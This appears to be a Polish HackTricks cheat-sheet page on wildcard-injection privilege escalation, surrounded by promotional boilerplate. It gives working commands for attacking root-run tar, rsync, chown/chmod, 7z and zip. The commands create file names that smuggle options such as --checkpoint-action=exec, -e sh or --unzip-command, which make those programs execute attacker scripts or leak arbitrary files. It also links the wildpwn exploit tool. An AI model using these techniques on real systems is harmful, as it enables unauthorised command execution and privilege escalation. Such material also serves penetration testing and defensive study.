4.8 KiB
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
chown, chmod
Możesz wskazać, którego właściciela pliku i uprawnienia chcesz skopiować dla pozostałych plików
touch "--reference=/my/own/path/filename"
Możesz to wykorzystać za pomocą https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (kombinowany atak)
Więcej informacji na stronie https://www.exploit-db.com/papers/33930
Tar
Wykonaj dowolne polecenia:
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
Możesz to wykorzystać za pomocą https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (atak tar)
Więcej informacji na stronie https://www.exploit-db.com/papers/33930
Rsync
Wykonaj dowolne polecenia:
Interesting rsync option from manual:
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
touch "-e sh shell.sh"
Możesz to wykorzystać za pomocą https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (atak rsync)
Więcej informacji na stronie https://www.exploit-db.com/papers/33930
7z
W 7z nawet używając --
przed *
(zauważ, że --
oznacza, że następne dane wejściowe nie mogą być traktowane jako parametry, więc w tym przypadku tylko ścieżki plików) możesz spowodować dowolny błąd, aby odczytać plik, więc jeśli polecenie takie jak poniższe jest wykonywane przez użytkownika root:
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
I możesz tworzyć pliki w folderze, w którym jest wykonywane polecenie. Możesz utworzyć plik @root.txt
oraz plik root.txt
, który będzie symlinkiem do pliku, który chcesz odczytać:
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
Następnie, gdy 7z jest uruchamiany, potraktuje root.txt
jako plik zawierający listę plików, które powinien skompresować (o czym świadczy istnienie @root.txt
), a gdy 7z odczytuje root.txt
, odczyta /file/you/want/to/read
i ponieważ zawartość tego pliku nie jest listą plików, wyświetli błąd pokazujący zawartość.
Więcej informacji w Write-upach z CTF z HackTheBox.
Zip
Wykonaj dowolne polecenia:
zip name.zip files -T --unzip-command "sh -c whoami"
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.